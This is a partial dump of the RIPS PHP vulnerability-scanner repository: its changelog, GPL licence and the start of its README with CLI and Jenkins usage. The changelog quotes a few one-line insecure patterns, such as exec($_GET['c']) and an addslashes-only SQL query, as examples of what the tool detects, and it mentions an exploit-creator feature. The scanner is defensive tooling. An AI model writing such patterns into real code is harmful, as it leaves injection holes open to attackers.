Repository: robocoder/rips-scanner Branch: community Commit: 41d23237883f Files: 48 Total size: 509.8 KB Directory structure: gitextract_ssjddytk/ ├── .gitattributes ├── CHANGELOG ├── LICENSE ├── README.md ├── config/ │ ├── general.php │ ├── help.php │ ├── info.php │ ├── securing.php │ ├── sinks.php │ ├── sources.php │ └── tokens.php ├── css/ │ ├── ayti.css │ ├── barf.css │ ├── code-dark.css │ ├── espresso.css │ ├── notepad++.css │ ├── phps.css │ ├── print.css │ ├── rips.css │ ├── term.css │ └── twilight.css ├── index.php ├── js/ │ ├── exploit.js │ ├── hotpatch.js │ ├── netron.js │ └── script.js ├── lib/ │ ├── analyzer.php │ ├── constructer.php │ ├── filer.php │ ├── printer.php │ ├── scanner.php │ ├── searcher.php │ └── tokenizer.php ├── main.php ├── papers/ │ ├── LCA 2012_ PHP Static Code Analysis.html │ ├── LCA 2012_ PHP Static Code Analysis_files/ │ │ ├── a.html │ │ ├── css.css │ │ ├── prettify.txt │ │ ├── slides.txt │ │ └── styles.css │ └── README.md ├── rips_stats.py └── windows/ ├── code.php ├── exploit.php ├── function.php ├── help.php ├── hotpatch.php └── leakscan.php ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Set the default behavior, in case people don't have core.autocrlf set. * text=auto *.css text eol=lf *.js text eol=lf *.php text eol=lf *.py text eol=lf # Denote all files that are truly binary and should not be modified. *.gif binary *.jpg binary *.png binary ================================================ FILE: CHANGELOG ================================================ RIPS CHANGELOG =============== RIPS 0.55 ---------- - updated configuration (sources, sinks, sanitization) - added session fixation detection - seperated reflection injection from code injection - changed defaults (subdirs, vuln type) - referenced user survey RIPS 0.54 ---------- - fixed Javascript errors - fixed bug with false negatives in non-OOP code after OOP code (thanks to Gareth Heyes) - improved handling of parse_str() function - added new taintable $_SERVER parameters to sources (thanks to Mike Brooks) - added new sinks RIPS 0.53 ---------- - fixed bug with includes (thanks to Ryan Dewhurst) RIPS 0.52 ---------- Code analysis: - fixed bug where RIPS hangs on includes building a loop 1->2->3->1->2->3->1... (thanks to Michael Hoffmann) - fixed bug where RIPS string analyzer hangs on certain array keys coming from foreach statements (thanks to Ricky-Lee Birtles) - fixed bug where RIPS hangs on certain switch statements (thanks to Jay Bonci) - fixed bug with wrong brace wrapping for "case x;" instead of "case x:" statements - fixed bug with wrong brace wrapping when if-clause contains only 1 token or in a try/catch block - fixed bug with parameter count in interprocedural analysis - fixed bug with register_globals implementation and constants - fixed bug with tokenizing a do-while in a do-while - fixed bug with wrong boundary detection when a function is declared in another function - fixed bug with wrong file pointer of included files, improved include rate - added auto_prepend/append_file support, improved include_path support (thanks to Jay Bonci) - added support for func_get_args() and func_get_arg() - added support for alternative syntax for control structures (while(): ... endwhile;) - added new sensitive sinks - added experimental option SCAN_REGISTER_GLOBALS (/config/general.php) - added parsing errors to verbosity level = debug, improved code stability Interface: - added stylesheet "print" (thanks to Kurt Payne) - added scrollbars to function code on mouseover - disabled graphs for large projects (>50 files) due to performance - improved output when a vulnerability is found multiple times (e.g. by multiple inclusion of a vulnerable file) - fixed bug with style of multiline comments in code viewer - optimized code viewer with file preview window RIPS 0.51 ---------- - fixed bug with apache_setenv() for non-Apache webservers - fixed bug in leakscan preloader RIPS 0.50 ---------- Code analysis: - added about 30 new sensitive sinks and some new userinput functions - RIPS now traces codeblocks, not lines anymore -> code in one line without whitespaces ("obfuscated") is now possible to analyse -> this also fixes several known bugs - RIPS now handles arrays and its keys a lot more accurate -> arrays are handled as variables with saved keys -> dynamic key values are resolved -> this also fixes several known bugs - RIPS is now recoded object oriented -> structure is better -> code easier to understand - fixes bug when an old define is overwritten by a new one - ignores "@" for correct detection of connected tokens - added leakscan: trace if return value of tainted sensitive sink is echo'd (non-blind/blind exploitation) - fixed lots of securing detection bugs - automatically scans for register_globals implementation (extract, parse_str, $$key = $value, import_request_variables, etc.) - lots of new testcases added and fixed - improved reconstruction of file names to be included - set_time_limit is set to 0 now Interface: - included SaveGraph patch - added preloader information about current scanning status (thanks for the input, Michael Hoffmann) - added links to the stats window to other windows - fixed bug with color highlighting in regex search results - improved jumping between functions in scan result - moved http response splitting to clientside vulnerability list RIPS 0.40 SaveGraph Patch: ---------- - added option to save HTML5 canvas graph as image (feature request by ksaok) RIPS 0.40: ---------- Code analysis: - fixed bug with vartrace and different dependencies (if(condition) $var=1; else $var=2;) - fixed bug with string reconstruction of included files (include("/foo/$var/bar");) - improved file inclusion rate (name reconstruction, consider include_path, try to guess file) - fixed bug with usage of defined CONSTANTs (thanks to Dawid) - fixed bug with successful inclusion and FI vulnerability within one inclusion - fixed bug with FI vulnerability and function call (require urldecode($_GET['a'])) - fixed bug with overwritten parameter vars in user-defined function - fixed bug with two sensitive sinks in one userdefined functions affected by different parameters - improved ternary operator handling - added quote analysis for more precise securing detection (mysql_query("SELECT ".addslashes($id)); =vuln) (still some bugs with quote analysis, TBD) - added vulnerability type 'Unserialize' to scan for POP gadgets Interface: - fixed bug with exploit creator and error_reporting=on (thanks Gregory and others) - moved info gathering to seperate verbosity level, removed info about program exits - added maximize button to code viewer - added graph for file inclusion visualization - added graph for function call and vulnerability flow visualization - added pie chart for result - grouped vulnerable lines for each vulnerability - added new color schema 'ayti' and improved other color schemas - fixed bug with vulnerable functions in the result that have not been called with userinput - fixed bug with multiline comments in the code viewer - added link to stats to show only vulns of specific type (click on vulnerability type) - added color highlighting for regex search results - changed stylesheet is now tracked permanently by cookie RIPS 0.35: ---------- - added ini_set("auto_detect_line_endings", true) to support MAC OSX newlines - added preg_match(_all) support with $matches array - prevented getmultiline() funtion to recursively loop for more than 10 rows (tracker ID: 3075359, thanks to lexak) - added vulnerability type 'LDAP Injection' - fixed bug with wrong detection of user defined securing functions using for-loops - fixed critical bug with wrong detection of securing during inter-procedual analysis - fixed bug with not detected function calls in included files and case-sensitive function names - fixed bug with userinput returned by user-defined functions RIPS 0.34: ---------- - fixed false positive when userinput is overwritten: $_GET['c']=1; exec($_GET['c']); - fixed critical bug with missing scan results - added more database securing and tainting functions (thanks to Yasuo Ohgaki) RIPS 0.33: ---------- Code analysis: - added vulnerability type 'XPath Injection' - implemented $F_INSECURING_STRING (list of functions like urldecode() that can re-taint already sanitized data) - fixed bug with $GLOBALS[] (ignore previous local vars, accept only global vars) - improved tainted $_SESSION (=global var) handling - fixed bug with tainting functions not displayed in the result tree - fixed bug with differently used quotes in array['"parameter'"] during traceback - added compact() support - ignore upper/lowercase in function names because PHP does not (sYsTem()) - scan for dynamic function calls $variable() (possible code exec) Interface: - added missing taint-highlighting in the first line of PVF tree - added file list: listing all scanned files and includes - added list of function calls to each list item of user-defined functions - added help button for simple visualization, description, example, PoC, patch and securing function list in a new window - RIPS warns you when scan may last very long (counts files to scan) - added AJAX interface with scan animation - added scan result statistics and graphs - highlight variables onMouseOver in code viewer and scan result. persistent highlight onClick. - code viewer now supports active jumping between function calls and declarations (click on function call to jump to declaration, click "return" to jump back to the call) - added regex search function - windows are now resizeable - added curl headers for all tainting $_SERVER parameters in the exploit creator RIPS 0.32: ---------- Code analysis: - rebuild PVF config (FILE, CODE and SYSTEM PVF into FILE_READ, FILE_AFFECT, FILE_INCLUDE and EXEC PVF) - added $_SERVER parameters that are tainting to the config (example: $_SERVER['PHP_SELF'];) - fixed bug with securing detection of global string securing functions (example: md5($a.$b);) - fixed bug where the first token of an included file was ignored Interface: - added a little howto to the welcome page - added more detailed vulnerability types to scan for - added vulnerability name to each find (name still present during minimization of output block) - added .phps-tainted-var for highlighting tainting vars in the trace output - added explaination to inter-procedual analysis results - added RIPS logo (created by Gareth Heyes, thank you) - added a option to change the output tree from bottom-up to top-down (requested by Joel, thank you) - fixed bug with missing link by inter-procedual analysis when function name appeared in the "requires" list RIPS 0.31: ---------- Code analysis: - improved RIPS code + performance (http://code.google.com/speed/articles/optimizing-php.html) (http://www.wmtips.com/php/tips-optimizing-php-code.htm) - improved securing detection by detecting automatic type casts - added connection poisoning PVFs - added support for $arrays{'a'} with curly braces - added missing support for tainted OO function with XSS - added a missing class-to-variable association when using a constructor call instead the keyword 'new' - fixed bug where successful file inclusions were scanned again for a file inclusion vulnerability - fixed bugs with detecting commands written over several code lines (reported by Stefan Esser & Pragmatk) (patch does not solve all multi-line bugs) - corrected analysis of variables marked as 'global' Interface: - better arranged user input list - added option to highlight variables in the CodeViewer by click - added vulnerability type "All" to scan client- and server-side vulns simultaneously - added missing exploit button for direct-tainted XSS vulnerabilities ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # RIPS A static source code analyser for vulnerabilities in PHP scripts ## Requirements * web server: Apache or Nginx recommended * PHP: latest version recommended * browser: Firefox recommended ## Installation 1. Download the latest release 2. Extract the files to your local web server's document root 3. Make sure your web server has file permissions 4. Make sure your installation is protected from unauthorized access 5. Open your browser at http://localhost/rips-xx/ ## Usage Follow the instructions on the main page. ## Command Line Interface - CLI #### Usage See original php-rips scan html form (index.php) for more options. ``` php index.php [option=value] ``` | Options | Value | | --- | --- | | loc | target scan file/folder | | subdir | recurse subdirs \[0\|1] | | ignore_warning | \[0\|1] | | vector | scan vectors \[all\|...] | | verbosity | log verbosity \[0-9] | | treestyle | html output style \[0\|1] | | stylesheet | html output stylesheet \[ayti\|...] | Example: recursively scan ./code for all vuln. classes ``` php index.php loc=./code subdirs=1 vector=all verbosity=2 ``` Note: in cli-mode argv wil be parsed into `$_POST` therefore allowing you to set any POST variables. #### Jenkins-CI Integration Notes 1. install the [html publisher plugin](https://wiki.jenkins-ci.org/display/JENKINS/HTML+Publisher+Plugin) 2. configure (multiple) scm to clone both this repository and the source you want to scan to distinct folders 3. add build step: execute shell ```bash # config - remove this if you configure it via jenkins parameterized builds PATH_RIPS=rips-scanner PATH_REPORT=report FILE_REPORT=report.html PATH_TARGET=code RIPS_RECURSE_SUBDIR=1 RIPS_VECTOR=all RIPS_VERBOSITY=2 # copy dependencies mkdir -p report cp -r rips-scanner/css report cp -r rips-scanner/js report # run analysis echo "=========================================================" echo 